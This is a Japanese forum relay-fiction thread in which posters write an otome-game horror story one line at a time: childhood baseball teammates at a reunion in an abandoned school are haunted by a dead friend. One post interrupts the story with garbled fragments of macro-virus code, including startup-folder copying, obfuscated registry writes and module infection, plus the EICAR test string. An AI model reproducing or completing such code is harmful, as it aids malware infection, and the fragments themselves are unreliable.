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一行リレーで乙女ゲーのシナリオを作ろう! 4本目

1 :名無しって呼んでいいか?:2007/10/06(土) 13:42:54 ID:IuR1sKse
萌えそうな乙女ゲーを作ろう(`・ω・´)

ルール
1、”萌えそうな乙女ゲーを作ろう”という気概を持とう!
2、一行でちゃんと話をつなげよう
3、分岐は3行、次の人が選択。ただし10レス以内禁止
4、1スレ1話完結を目指す
5、完結は>>950、次スレはだいたい>>970>>980
6、主人公のデフォ名は「早乙女名無子」ただし設定によって変更可

禁止事項(あった場合は放置&スルー)
1、非乙女ネタ・BL・エロ(15禁程度は可)
2、空気読めない人による“完”・長い年月の経過
3、住民同士による過度の絡み行為

1本目  http://game12.2ch.net/test/read.cgi/ggirl/1180360980/
2本目  http://game12.2ch.net/test/read.cgi/ggirl/1181954823/
3本目  http://game12.2ch.net/test/read.cgi/ggirl/1187519833/

前回誘導が間に合わなかったので、スレ立ての時期を変えました。

2 :名無しって呼んでいいか?:2007/10/06(土) 13:44:50 ID:???
今日は私の小学校時代の同窓会が、この廃校舎で行われる。

3 :名無しって呼んでいいか?:2007/10/06(土) 14:08:11 ID:???
仲良しだった皆とも久しぶりに会える。楽しみだ。

4 :名無しって呼んでいいか?:2007/10/06(土) 14:17:58 ID:???
本当は入り込んじゃいけないんだけど、やっぱりここが一番の思い出の場所。

5 :名無しって呼んでいいか?:2007/10/06(土) 14:56:20 ID:???
「早乙女?」懐かしさに周りをきょろきょろ見回していると声をかけられた。

6 :名無しって呼んでいいか?:2007/10/06(土) 14:58:10 ID:???
廃校舎のせいか、何処か薄暗くて埃っぽい。空気もひんやりとしている。

7 :名無しって呼んでいいか?:2007/10/06(土) 15:10:58 ID:???
振り返ると眼鏡で細身ながら筋肉質の、さわやかな笑顔の男の子が。「あ!キャッチャーの二階堂君?」

8 :名無しって呼んでいいか?:2007/10/06(土) 15:16:07 ID:???
私は子供の頃、女子だけどリトルリーグに入ってエースを務めていた。彼はその時のキャッチャーだ。

9 :名無しって呼んでいいか?:2007/10/06(土) 15:26:48 ID:???
懐かしい。二階堂君の爽やかな笑顔はあの頃と変わらない。でも少し大人っぽくなった気がする。

10 :名無しって呼んでいいか?:2007/10/06(土) 15:34:15 ID:???
二階堂君は地元で一番の大学で医者を目指しているらしい。確かに彼は当時から秀才だった。

11 :名無しって呼んでいいか?:2007/10/06(土) 15:43:59 ID:???
二階堂「他のみんなももう来てる。一ノ瀬も来られたらよかったのにな・・・」 一ノ瀬君は私と同じくエースで、昨年の春事故で亡くなってしまった。

12 :名無しって呼んでいいか?:2007/10/06(土) 16:33:46 ID:???
一ノ瀬君は野球の推薦で大学に進学し、卒業後はプロになることも夢ではなかったが、それも叶わなくなってしまった…。

13 :名無しって呼んでいいか?:2007/10/06(土) 17:34:34 ID:???
二階堂「あいつとバッテリー組んでるときが一番楽しかったな。俺ら親友だったからさ。」

14 :名無しって呼んでいいか?:2007/10/06(土) 17:38:30 ID:???
私「知ってるよ。私たちいつも三人で残って練習したもんね。」

15 :名無しって呼んでいいか?:2007/10/06(土) 17:50:26 ID:???
いつも笑顔で騒がしくってみんなのムードメーカーだった一ノ瀬君。私は彼のことが大好きだった。

16 :名無しって呼んでいいか?:2007/10/06(土) 17:50:49 ID:???
Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub


17 :名無しって呼んでいいか?:2007/10/06(土) 17:53:27 ID:???
『早乙女ー!どっちが早く投げられるか勝負しよーぜ、早くこっち来いよ!』彼の少し高くてよく響く声が思い出される。

18 :名無しって呼んでいいか?:2007/10/06(土) 18:11:58 ID:???
「おう、二階堂と・・・名無子?わー、女っぽくなったなー!」 大きな声で呼ばれると、大きなくりっとした目が特徴的な男の子がいる。俊足のセンター・八坂だ。

19 :名無しって呼んでいいか?:2007/10/06(土) 18:31:37 ID:???
三剣「八坂、耳が痛いからでかい声だすなよ。や、二階堂に早乙女さん。」サードの三剣君だ。相変わらず何を考えているかわからないくらい表情が無い。

20 :名無しって呼んでいいか?:2007/10/06(土) 18:32:09 ID:???
三剣「八坂、耳が痛いから近くででかい声だすなよ。や、二階堂に早乙女さん。」それとサードの三剣君だ。相変わらず何を考えているかわからないくらい表情が無い。

21 :名無しって呼んでいいか?:2007/10/06(土) 19:30:23 ID:???
↑二重投稿してしまったスマソ

22 :名無しって呼んでいいか?:2007/10/06(土) 19:40:03 ID:???
八坂「ワハハハっいいっじゃねーか!久しぶり会ったんだからよぉ!」バンバンと八坂が三剣の背中を叩くと三剣の顔が少し嫌そうに歪んだ

23 :名無しって呼んでいいか?:2007/10/06(土) 21:27:01 ID:???
「名無ちゃん」いきなり後ろから抱きすくめられる。サラサラの長髪が目に入る。「ボクだよ、ショートの五島だよ」

24 :名無しって呼んでいいか?:2007/10/06(土) 21:28:42 ID:???
三剣が表情を変えぬまま五島にパンチをくらわせた。このふたり、試合中もこんな感じだったなあ。

25 :名無しって呼んでいいか?:2007/10/06(土) 21:34:42 ID:???
ワーワー言いながら立て付けの悪いドアを何度か引っ張り、教室の中へ入った。ほこりっぽく、汚れているが懐かしさでいっぱいになる。

26 :名無しって呼んでいいか?:2007/10/06(土) 22:47:39 ID:???
八坂「こん中でまだ誕生日来てない奴いないよな?俺、酒持ってきたんだ!」そういえば八坂の家は酒屋だった。

27 :名無しって呼んでいいか?:2007/10/06(土) 23:18:04 ID:???
「さすが八坂だな。じゃあ少し片付けてからにしようか?」 こんな埃っぽい中で飲み食いなんか無理、という言葉を二階堂が柔らかく言い換えた。八坂はニコニコしながら頷く。

28 :名無しって呼んでいいか?:2007/10/07(日) 00:39:04 ID:???
五島「・・・で、9回裏、名無ちゃんの奇跡のフォーク。あんなに芸術的なフォークをボクは忘れられないね」お菓子を食べながら、話に花が咲く。

29 :名無しって呼んでいいか?:2007/10/07(日) 00:42:17 ID:???
三剣「早乙女さんのフォークは落ちすぎてストライクゾーンから外れることもあるけど。悪くないね」

30 :名無しって呼んでいいか?:2007/10/07(日) 00:44:13 ID:???
二階堂「それは俺の体格のせいだよ、早乙女は悪くないよ。すごく頑張ってた」

31 :名無しって呼んでいいか?:2007/10/07(日) 00:45:54 ID:???
八坂「だよなー!変化球の名無子、ストレートの一ノ瀬だもんな。うちの二枚看板だ」 一ノ瀬、という名前を聞いて皆が身を固くする。

32 :名無しって呼んでいいか?:2007/10/07(日) 00:51:00 ID:???
私「そ、そういえば、四谷君と六条君と九衛君は?荷物はそこにあるみたいだけど、どこにいっちゃった?」

33 :名無しって呼んでいいか?:2007/10/07(日) 07:31:07 ID:???
三剣「四谷と六条はさっき便所行くって。九衛は何でかいない。」

34 :名無しって呼んでいいか?:2007/10/07(日) 11:20:18 ID:???
「うわあああああああああああ!!」その時、廊下から悲鳴が聞こえた。驚いて外へ出る私たち。

35 :名無しって呼んでいいか?:2007/10/07(日) 13:09:30 ID:???
四谷と六条がすごい勢いで走ってきた。「早く早く中に入れてくれ!!」

36 :名無しって呼んでいいか?:2007/10/07(日) 15:06:40 ID:???
中に入るなり二人は倒れこみ気絶してしまった。三剣はそれを軽々と抱え、教室の隅に寝かせる。細い体に見合わないほどの力持ち。さすがは四番打者。

37 :名無しって呼んでいいか?:2007/10/07(日) 15:08:12 ID:???
二階堂「何があったのか気になるな、九衛もまだ帰ってこないし。他の教室を見に行くか?」

38 :名無しって呼んでいいか?:2007/10/07(日) 15:09:25 ID:???
三剣「便所に行くって言ってたから、便所のほうを先に見るべきじゃないか?」

39 :名無しって呼んでいいか?:2007/10/07(日) 15:10:42 ID:???
五島「いや、じっとしてたほうがいいよ」 八坂「そのうち帰ってくんじゃない?」

40 :名無しって呼んでいいか?:2007/10/07(日) 15:12:21 ID:???
意見が割れちゃった。どこに行こう。

1.二階堂と校内探検
2.三剣とトイレを見に行く
3.五島・八坂と教室で様子見

41 :名無しって呼んでいいか?:2007/10/07(日) 19:31:29 ID:???
2トイレか、怖いけど三剣君と一緒だったら大丈夫かな

42 :名無しって呼んでいいか?:2007/10/07(日) 19:49:27 ID:???
三剣「行こ。早乙女さん。」歩きだした三剣君についていく。三剣君ってほんとに無表情だけど綺麗な顔してるなぁ。

43 :名無しって呼んでいいか?:2007/10/07(日) 19:54:41 ID:???
三剣「あ。」廊下の途中でいきなり三剣君が立ち止まったので私はその背中にボスンと頭があたった。

44 :名無しって呼んでいいか?:2007/10/07(日) 19:57:17 ID:???
三剣君がはい、と言って手を差し出してきた。三剣「暗いから危ない。」

45 :名無しって呼んでいいか?:2007/10/07(日) 20:11:38 ID:???
私がその手を軽くとると、しっかり握り返される。「大丈夫。汚くない」

46 :名無しって呼んでいいか?:2007/10/07(日) 20:40:15 ID:???
心なしか三剣君が少し笑ったように見えた。彼は少しも臆さずズンズン暗闇の中を歩いていく。頼りになる4番だ。

47 :名無しって呼んでいいか?:2007/10/07(日) 20:43:38 ID:???
私「三剣君は、最近どうしてるの?地元では見かけないんだけど」

48 :名無しって呼んでいいか?:2007/10/07(日) 20:56:37 ID:???
三剣「俺は東京の大学に行ってる。だけど、最近はちょっとごたごたしてて大学は休学してるけど。」

49 :名無しって呼んでいいか?:2007/10/07(日) 21:02:01 ID:???
三剣「だから今日皆に会えるの楽しみだった。正直。」休学のことが気になって尋ねようとした時、三剣「たぶんここだ。」

50 :名無しって呼んでいいか?:2007/10/07(日) 21:11:17 ID:???
「う・・・」ボロだボロだと思っていたけど、本当に汚くて怖い。外から見るだけでも壁が変色しているし、個室のドアも腐っている。きっと水も流れない。

51 :名無しって呼んでいいか?:2007/10/07(日) 21:12:01 ID:???
トイレは薄暗い雰囲気でなんだか寒気がした。三剣君が持っていた懐中電灯をゆっくり向けるとそこには

52 :名無しって呼んでいいか?:2007/10/07(日) 21:16:36 ID:???
大量の髪の毛の塊が便器からあふれていた。

53 :名無しって呼んでいいか?:2007/10/07(日) 21:17:55 ID:???
いきなり私の視界が暗闇に覆われた。三剣君の手が私の後頭部に回り胸に押し付けられた。「早乙女さん、見るな。見ちゃだめだ。」

54 :名無しって呼んでいいか?:2007/10/07(日) 21:19:36 ID:???
「きゃあああ!な、何なの、これ……!」悲鳴を上げる私を後ろから支えてくれる腕があった。三剣君だ。

55 :名無しって呼んでいいか?:2007/10/07(日) 21:21:52 ID:???
何も見えないが、何かが水の中でうごめくような音が聞こえる。三剣君は私を抱えたまま方向転換をし、「走るぞ」と言った。

56 :名無しって呼んでいいか?:2007/10/07(日) 21:23:37 ID:???
もときた道を懸命にひた走る。大学に入ってから運動なんかしてなかったから、心臓が破れそうにドキドキ言う。

57 :名無しって呼んでいいか?:2007/10/07(日) 21:25:38 ID:???
「!ちょっと待って」走っている途中、廊下に眼鏡が落ちているのを見つけた。「一ノ瀬の眼鏡だ」三剣君が目を細めて言った。

58 :名無しって呼んでいいか?:2007/10/07(日) 21:26:34 ID:???
何度も足がつれかかった私を抱えるようにして三剣君は走ってくれた。それなのに彼はすごく足が速い。

59 :名無しって呼んでいいか?:2007/10/07(日) 21:28:45 ID:???
三剣「早乙女さんは別のクラスだったから知らないと思うけど、あいつ遠視なんだ。授業中だけかけてたんだよ」

60 :名無しって呼んでいいか?:2007/10/07(日) 21:36:21 ID:???
私「でもこれ、全然古くないよ。子供用だけど」 三剣「遠視のめがねは小学生じゃすごく珍しい。それにこのフレーム、見覚えある」

61 :名無しって呼んでいいか?:2007/10/07(日) 21:47:41 ID:???
三剣「俺も同じの持ってたし。でも一ノ瀬がいるはずない。」そうだ、一ノ瀬君は死んだ。それなのに私は彼の影を求めているんだろうか。

62 :名無しって呼んでいいか?:2007/10/07(日) 21:54:45 ID:???
私たちはとりあえず教室に戻ることにした。他の皆のことも気になる。

63 :名無しって呼んでいいか?:2007/10/07(日) 21:58:49 ID:???
四谷「あーもーだぁからぁ、ほんっとに見たんだってば!」レフトの四谷君の騒いでる声が教室の中から聞こえる

64 :名無しって呼んでいいか?:2007/10/07(日) 22:02:27 ID:???
四谷「ほんとほんと!オレの目みてよ!キラキラしてるだろ?じゃなくてー!!あ!名無子・・、げっ!三剣!」

65 :名無しって呼んでいいか?:2007/10/07(日) 23:10:46 ID:???
三剣「なんで驚く。起きたばかりで興奮すると体に良くない。水でも飲め」

66 :名無しって呼んでいいか?:2007/10/07(日) 23:13:53 ID:???
四谷君は目を白黒させ、口の端からたくさんこぼしながら渡された水を飲んだ。八坂君が水割りを作るために用意した水が役立った。

67 :名無しって呼んでいいか?:2007/10/07(日) 23:21:21 ID:???
四谷「ぐえほっげほ!じ、自分で飲めるから!やめ、三剣、ゴボ!」三剣君はきっとわざとだ。四谷君の鼻からも水が出ている。

68 :名無しって呼んでいいか?:2007/10/07(日) 23:24:46 ID:???
四谷「・・・ふう・・・そう、便器の中から、人の頭が出てきたんだ・・・こう、ズルズル・・・っと」一息ついた四谷は話を再開した。

69 :名無しって呼んでいいか?:2007/10/07(日) 23:24:57 ID:???
二階堂「しかし、四谷。さすがにそれは、俺は信じることはできない。死んだ一之
ノ瀬を見ただなんて悪い冗談にも程があるぞ。」

70 :名無しって呼んでいいか?:2007/10/07(日) 23:27:48 ID:???
二階堂「それも便器の中でなんて、また悪ふざけをしているんじゃないのか?」

71 :名無しって呼んでいいか?:2007/10/07(日) 23:30:51 ID:???
「ほんとだってば!」とうとう四谷君は涙目になっている。

72 :名無しって呼んでいいか?:2007/10/07(日) 23:35:41 ID:???
私「私たちも・・・さっき・・・」私は三剣君と目を合わせた。

73 :名無しって呼んでいいか?:2007/10/07(日) 23:36:30 ID:???
三剣君はは私に頷く。「二階堂、それは俺たちもさっき見た。一ノ瀬かどうかはわからないけど。ちなみにふざけてない。」

74 :名無しって呼んでいいか?:2007/10/07(日) 23:37:41 ID:???
私「あと、廊下にこんなのが落ちてて・・・それで」私はさっき拾った眼鏡を見せた。

75 :名無しって呼んでいいか?:2007/10/07(日) 23:38:44 ID:???
八坂「あ、これ一ノ瀬が授業中にかけてたな。目がでっかくなるってふざけてんの見た」

76 :名無しって呼んでいいか?:2007/10/07(日) 23:40:50 ID:???
五島「うーん、四谷はともかく名無ちゃんや三剣がこんな冗談を言うようにはボクは思えないね・・・」

77 :名無しって呼んでいいか?:2007/10/07(日) 23:42:33 ID:???
四谷「オレはともかく・・・?」五島「とにかく、確認しに行ってみる?やっぱこの目でみないからにはさ。」

78 :名無しって呼んでいいか?:2007/10/07(日) 23:45:27 ID:???
六条「ぼ、僕は絶対行きたくない。ここに残る。」四谷「オレも・・・」

79 :名無しって呼んでいいか?:2007/10/07(日) 23:46:54 ID:???
二階堂「早乙女はどうする?女の子は怖いだろ?こういうの」

80 :名無しって呼んでいいか?:2007/10/07(日) 23:48:53 ID:???
「私も・・・行く。」三剣「四谷、確認しにいくんだからもちろんお前も行くんだよ。」嫌がる四谷君を三剣君が引きずる。

81 :名無しって呼んでいいか?:2007/10/07(日) 23:51:52 ID:???
結局六条君を置いて皆でトイレに向かう。しかしそこには「いない・・・。」一ノ瀬君どころか髪の毛一本落ちていなかった。

82 :名無しって呼んでいいか?:2007/10/07(日) 23:53:55 ID:???
五島「脅かさないで欲しいなあ」私たちは再び教室へ折りかえす。渡り廊下を渡っているとき、中庭から水音がした。

83 :名無しって呼んでいいか?:2007/10/07(日) 23:55:49 ID:???
ピチャン、ピチャン、ザバザバッ……ピチャン

84 :名無しって呼んでいいか?:2007/10/07(日) 23:57:33 ID:???
目を凝らすと、中庭の水道から赤錆を含んだ水が流れている。

85 :名無しって呼んでいいか?:2007/10/07(日) 23:58:28 ID:???
私「何……あれ…?」

86 :名無しって呼んでいいか?:2007/10/08(月) 00:01:14 ID:???
二階堂「あの水道・・・よく一ノ瀬が練習中に使ってた。蛇口を回すコツがあって、あいつ以外は何でかしらないけど開かなかった」

87 :名無しって呼んでいいか?:2007/10/08(月) 00:04:40 ID:???
赤錆はだんだんと濃くなり、ついには血のような赤さに変わった。目を離せないでいると、突然その蛇口が弾けてこちらへ飛んできた。

88 :名無しって呼んでいいか?:2007/10/08(月) 00:05:42 ID:???
急に飛んできた破片を五島がキャッチする。ショートの瞬発力だ。赤い水は噴水のように噴き上げ、私たちの服を汚した。

89 :名無しって呼んでいいか?:2007/10/08(月) 00:07:44 ID:???
三剣「これ、赤錆じゃない。血だ。」その時むわっと私たちの周りに血臭が漂った。

90 :名無しって呼んでいいか?:2007/10/08(月) 00:11:45 ID:???
四谷「オ、オレもう帰るよ!!オレやだったんだ、こんなとこで同窓会とか!」

91 :名無しって呼んでいいか?:2007/10/08(月) 00:17:34 ID:???
九衛「出られへんみたいやで俺ら、こっから。」中庭と反対側から歩いてきたのは何と今まで姿が見えなかった九衛君だった。

92 :名無しって呼んでいいか?:2007/10/08(月) 00:20:13 ID:???
入り口はいつのまにか南京錠がかけられていた。立ち入り禁止の建物なので、その周りは高いフェンスで囲われている。

93 :名無しって呼んでいいか?:2007/10/08(月) 00:20:27 ID:???
八坂「お前っ今までどこにいたんだよ!」九衛「そこで立ちションしててん。けど何か様子が変でな。校内見て回ったんやけど、どっこにも出口がなかったわ。」

94 :名無しって呼んでいいか?:2007/10/08(月) 00:21:46 ID:???
二階堂「圏外か・・・」念のため他のキャリアとも見せ合うが、いずれも電波が届かないようだ。

95 :名無しって呼んでいいか?:2007/10/08(月) 00:24:27 ID:???
四谷「ま、マジかよ・・・?こんなホラー映画みたいな話・・・」

96 :名無しって呼んでいいか?:2007/10/08(月) 00:25:17 ID:???
八坂「サボりぐせ健在だなクソライト!」 九衛「あないな便所で出るもんも出えへんわ!」 外野三人は声が大きい。 

97 :名無しって呼んでいいか?:2007/10/08(月) 00:32:09 ID:???
私「ねぇ、そういえばファーストの七原君ってどうしてるの?まだ見てないけど今日の同窓会は来ないのかな?」

98 :名無しって呼んでいいか?:2007/10/08(月) 00:34:26 ID:???
八坂「あ。呼ぶの忘れた!!」 幹事なのにこういうところがスッポ抜けている。

99 :名無しって呼んでいいか?:2007/10/08(月) 00:35:49 ID:???
二階堂「まあ、こういうことになるなら来なくて良かったのかもしれないし、そうしょげるなよ」

100 :名無しって呼んでいいか?:2007/10/08(月) 00:39:17 ID:???
九衛「七原・・・くぅ、何て可哀想な奴なんや。せやけどお前らみんな着てる服赤いけどそれ今年の流行色かなんかか?」

101 :名無しって呼んでいいか?:2007/10/08(月) 00:40:25 ID:???
クソライトは相変わらず空気嫁ないところも健在だ。私たちは一気に静まり返った。

102 :名無しって呼んでいいか?:2007/10/08(月) 00:43:33 ID:???
二階堂「教室へ、戻ろう・・・六条も心細いだろうし」 九衛君を加え、私たちは再び歩き出した。

103 :名無しって呼んでいいか?:2007/10/08(月) 00:50:24 ID:???
重い空気の中、少しでも気を紛らわそうと軽口を叩くが、服についた血の匂いが気になって、怖いという気持ちは消えなかった。

104 :名無しって呼んでいいか?:2007/10/08(月) 00:52:42 ID:???
三剣「早乙女さん顔が青い」 彼は私の手を取ると、手も冷たいといって私の目を見てきた。表情はないけどきっと心配されてる。

105 :名無しって呼んでいいか?:2007/10/08(月) 00:54:58 ID:???
「大丈夫だよ?」と笑うと、彼は汚れてない袖で私の顔の血を優しく拭ってくれた。

106 :名無しって呼んでいいか?:2007/10/08(月) 01:00:06 ID:???
私がくすぐったくてふふっと笑うと彼も少し安心したようだ。無理して笑ってたの気づいていたみたい。本当に不思議な人だ。

107 :名無しって呼んでいいか?:2007/10/08(月) 01:18:38 ID:???
「早乙女」気づけばすぐ後ろに二階堂君がいた。彼はゴツいフレームの眼鏡を指で押し上げて言う。「気分が悪そうだったから心配だったんだけど・・・平気かな」

108 :名無しって呼んでいいか?:2007/10/08(月) 01:20:38 ID:???
私が笑顔で頷くと、彼は三剣君を一瞥して少し寂しそうに言った。「早乙女の表情がわかるの、マウンドでは俺だけの特権だったのにな」

109 :名無しって呼んでいいか?:2007/10/08(月) 01:30:34 ID:???
三剣「俺はいつも背中ばっか見てた。それも好きだったけど。」そういうと彼は私の頭を軽く撫でて行ってしまった。表情は見えなかったけどいつもと同じ無表情だったんだろうか。

110 :名無しって呼んでいいか?:2007/10/08(月) 01:35:23 ID:???
二階堂「ごめん、変な事言って。俺どうかしてた」二階堂君は顔を赤くして、そこから一言もしゃべらなくなってしまった。

111 :名無しって呼んでいいか?:2007/10/08(月) 01:38:48 ID:???
その後は五島君の髪の束が木の枝にひっかかって根元から抜けた騒動以外は何の問題も無く教室に辿り着くことができた。

112 :名無しって呼んでいいか?:2007/10/08(月) 01:42:23 ID:???
五島「ボクのキューティクルヘアーが・・・」 八坂「俺みたいにスポーツ刈りにしちまえよ!」 騒ぎながら教室のドアを開けると・・・

113 :名無しって呼んでいいか?:2007/10/08(月) 02:00:00 ID:???
六条君がいない。窓際に服の束が落ちている。 八坂「これ、全部六条の服だ!アイツ、風呂にでも行ったのか?」

114 :名無しって呼んでいいか?:2007/10/08(月) 02:05:04 ID:???
三剣「風呂に行くのに全部ここで脱いでいく奴はいないと思う。だいたい風呂ってなんだよ」

115 :名無しって呼んでいいか?:2007/10/08(月) 02:06:08 ID:???
九衛「風呂?!どこにあるんや!?俺かてひとっ風呂浴びたいのに六条の奴独り占めしよってからに。」

116 :名無しって呼んでいいか?:2007/10/08(月) 02:12:00 ID:???
能天気な約2名を放っておいて私たちは教室の中を探した。「六条くんー?」

117 :名無しって呼んでいいか?:2007/10/08(月) 02:12:04 ID:???
二階堂「そうだね、水が出ればの話だけど、理科室の大きな水道なら上半身くらいは洗えると思うよ」

118 :名無しって呼んでいいか?:2007/10/08(月) 02:13:28 ID:???
九衛「せやな!」八坂「俺もこの服洗いてえ!」 外野二名は理科室へ行ってしまった。

119 :名無しって呼んでいいか?:2007/10/08(月) 02:26:32 ID:???
五島「帰るにしても、裸じゃ無理だろうし・・・いったいどこに行ってしまったんだろう」

120 :名無しって呼んでいいか?:2007/10/08(月) 02:36:42 ID:???
四谷「六条が自分から出て行くわけない・・・。だって・・・」「「うわあああぁぁー!」」その時、九衛と八坂の声が響いた。

121 :名無しって呼んでいいか?:2007/10/08(月) 02:37:39 ID:???
教室の中にはいないみたい・・・どうしたものかと考えていると、廊下から叫び声が聞こえた。

122 :名無しって呼んでいいか?:2007/10/08(月) 02:46:20 ID:???
三剣「八坂と九衛。」そう呟いて急いで教室を飛び出していった三剣君の後を追う。

123 :名無しって呼んでいいか?:2007/10/08(月) 11:44:50 ID:???
たどりついた理科室の前に、へたり込んだ八坂と頭だけの九衛が・・・「うわああああ!!」

124 :名無しって呼んでいいか?:2007/10/08(月) 11:45:38 ID:???
三剣「早乙女さんよく見て。床が腐ってるんだ。八坂は小柄だから乗っても大丈夫だったみたい」

125 :名無しって呼んでいいか?:2007/10/08(月) 11:46:41 ID:???
しかし、青ざめた八坂は理科室の中を震える手で指している。恐る恐る中を覗く。「!!」

126 :名無しって呼んでいいか?:2007/10/08(月) 11:47:49 ID:???
理科室の大きな水道台に、間接を外した裸の人間がぎゅうぎゅうに押し込められていた。

127 :名無しって呼んでいいか?:2007/10/08(月) 11:50:41 ID:???
「六条だ」 三剣君は耳を近づけ、「息はある。二階堂、五島、手伝ってくれ」

128 :名無しって呼んでいいか?:2007/10/08(月) 12:53:35 ID:???
私は九衛君を穴から引っ張り出しに行った。「おおきに。名無子ちゃん・・・なあ」九衛君がニヤリと笑う。「男のアレ見るの初めて?」

129 :名無しって呼んでいいか?:2007/10/08(月) 12:54:54 ID:???
私「!!」私はもう一度九衛を穴に埋めて顔をつねった。「痛いイタイイタイ冗談やのに・・・」

130 :名無しって呼んでいいか?:2007/10/08(月) 13:10:58 ID:???
二階堂「俺が関節を入れる。一応整体の心得はある」理科室の中では、横たえた六条君の体に二階堂君が手を伸ばしていた。

131 :名無しって呼んでいいか?:2007/10/08(月) 13:49:31 ID:???
五島「シロウトがいじっても大丈夫なものなのかな」二階堂「俺、専攻は一応スポーツ医学だから」

132 :名無しって呼んでいいか?:2007/10/08(月) 14:08:15 ID:???
二階堂君、こうしてみると本当にお医者さんみたいだ。さすが学校一の秀才。

133 :名無しって呼んでいいか?:2007/10/08(月) 14:36:16 ID:???
そういえば、昔もこんなことがあった。六条君が右肩を脱臼して、そのときのキャッチボールの相手は、一ノ瀬君・・・。

134 :名無しって呼んでいいか?:2007/10/08(月) 16:00:36 ID:???
私は急に耳鳴りがしてしゃがみこんだ。「大丈夫か?」駆けつけてくれた人を見ると、それは・・・

135 :名無しって呼んでいいか?:2007/10/08(月) 18:48:42 ID:???
リトルリーグのユニフォームに、後ろ前にかぶった帽子・・・小学生時代の一ノ瀬君だった

136 :名無しって呼んでいいか?:2007/10/08(月) 19:40:00 ID:???
私「いち…の…せ、くん…?」懐古と不思議な気持ちで彼を見つめる。気付くと、私もチームのユニホームを着た小学生に戻っていた。

137 :名無しって呼んでいいか?:2007/10/08(月) 20:14:36 ID:???
天気は目もくらむような快晴。 一ノ瀬「水飲んで休んだほうがいいんじゃねえ?」 私「ううん、キャッチボールの続きやろ!」

138 :名無しって呼んでいいか?:2007/10/08(月) 20:44:49 ID:???
一ノ瀬君の球は重い。ストレートの球威は定評がある。私はいつも彼には叶わなかった。だから変化球の練習をしたんだ。

139 :名無しって呼んでいいか?:2007/10/08(月) 20:48:19 ID:???
一ノ瀬「俺、大きくなったらメジャーリーグ行くんだ!お前も行こうぜ!」 私「女でも大丈夫かな?」 一ノ瀬「平気平気!」

140 :名無しって呼んでいいか?:2007/10/08(月) 20:50:15 ID:???
今のこの球威ならメジャーリーガーも夢じゃない。こんなに重い球・・・こんなに・・・そう、まるで鉛みたいな・・・

141 :名無しって呼んでいいか?:2007/10/08(月) 20:55:15 ID:???
「早乙女!!」大声で名前を呼ばれ、はっと我に返ると二階堂君が私の肩を掴んでいた。私の手にあるのは、錆びた鉄の天球儀の球の部分だった。

142 :名無しって呼んでいいか?:2007/10/08(月) 21:48:18 ID:???
「あ・・・私・・・。」ふと見ると周りの皆も怪訝そうに私を見ていた。

143 :名無しって呼んでいいか?:2007/10/08(月) 21:51:23 ID:???
その中でただ一人私を射抜くようなまっすぐな視線を向けていた三剣君と目が合う。

144 :名無しって呼んでいいか?:2007/10/08(月) 22:04:08 ID:???
私は何を?そう、校庭で一ノ瀬君と・・・いや、そんなはずはない。頭が混乱する。

145 :名無しって呼んでいいか?:2007/10/08(月) 22:04:55 ID:???
三剣君、あなたは何か知っているの・・・?

146 :名無しって呼んでいいか?:2007/10/08(月) 22:08:04 ID:???
五島「教室へ戻ろう・・・六条の関節もはまったし。」五島君の背中には、暗幕にくるまれた六条君がおぶわれていた。

147 :名無しって呼んでいいか?:2007/10/08(月) 22:14:02 ID:???
帰り道、三剣君が私の横に来て言った。「二階堂は、早乙女さんが好きなんだと思う」

148 :名無しって呼んでいいか?:2007/10/08(月) 22:15:36 ID:???
私「そんなことないよ、卒業してから全然会ってないし、何でそんなこと思うの」

149 :名無しって呼んでいいか?:2007/10/08(月) 22:16:29 ID:???
三剣「早乙女さんを嫌いな男なんかいないから、かな」

150 :名無しって呼んでいいか?:2007/10/08(月) 22:28:39 ID:???
三剣「一ノ瀬もそうだった。」私は思わず立ち止まって三剣君をみる。

151 :名無しって呼んでいいか?:2007/10/08(月) 22:29:45 ID:???
三剣「さっき一瞬だけど一ノ瀬に会ったよね?」

152 :名無しって呼んでいいか?:2007/10/08(月) 22:40:31 ID:???
私「何でそれを?」 三剣君の顔を見る。怖いくらいの無表情だ。

153 :名無しって呼んでいいか?:2007/10/08(月) 23:20:35 ID:???
三剣「怖がらせたくなかった。けど早乙女さんから一ノ瀬の気配がどんどん濃くなってるから。」

154 :名無しって呼んでいいか?:2007/10/08(月) 23:25:34 ID:???
三剣「今はもうの廃校舎全体が一ノ瀬のテリトリーだ。俺は一応学生だけど本業はこっち。早乙女さん達からしたら気味悪いと思うけど。」

155 :名無しって呼んでいいか?:2007/10/08(月) 23:28:40 ID:???
「黙ってて、ごめん。」三剣君は初めて視線を外しながら言った。

156 :名無しって呼んでいいか?:2007/10/08(月) 23:32:29 ID:???
スポーツマンのくせに眼鏡の奴が多すぎる、と私は思った。

157 :名無しって呼んでいいか?:2007/10/08(月) 23:36:20 ID:???
三剣「だってここは福井県だからね。」さすが眼鏡の産地No1だ。

158 :名無しって呼んでいいか?:2007/10/09(火) 02:03:02 ID:???
私は三剣くんに問い詰めた。「一ノ瀬くんの気配ってどういうこと?三剣くんの本業って?……まさか何もかも分かってて、ここに来たの?」

159 :名無しって呼んでいいか?:2007/10/09(火) 17:19:21 ID:???
しかしその時、五島「六条?!気がついたのかい?!」

160 :名無しって呼んでいいか?:2007/10/09(火) 18:53:24 ID:???
六条「…っあああ!!一ノ瀬っ…!許して…許してくれぇぇ!」私「!?」二階堂「落ち着け六条!何があった?!」

161 :名無しって呼んでいいか?:2007/10/09(火) 19:11:29 ID:???
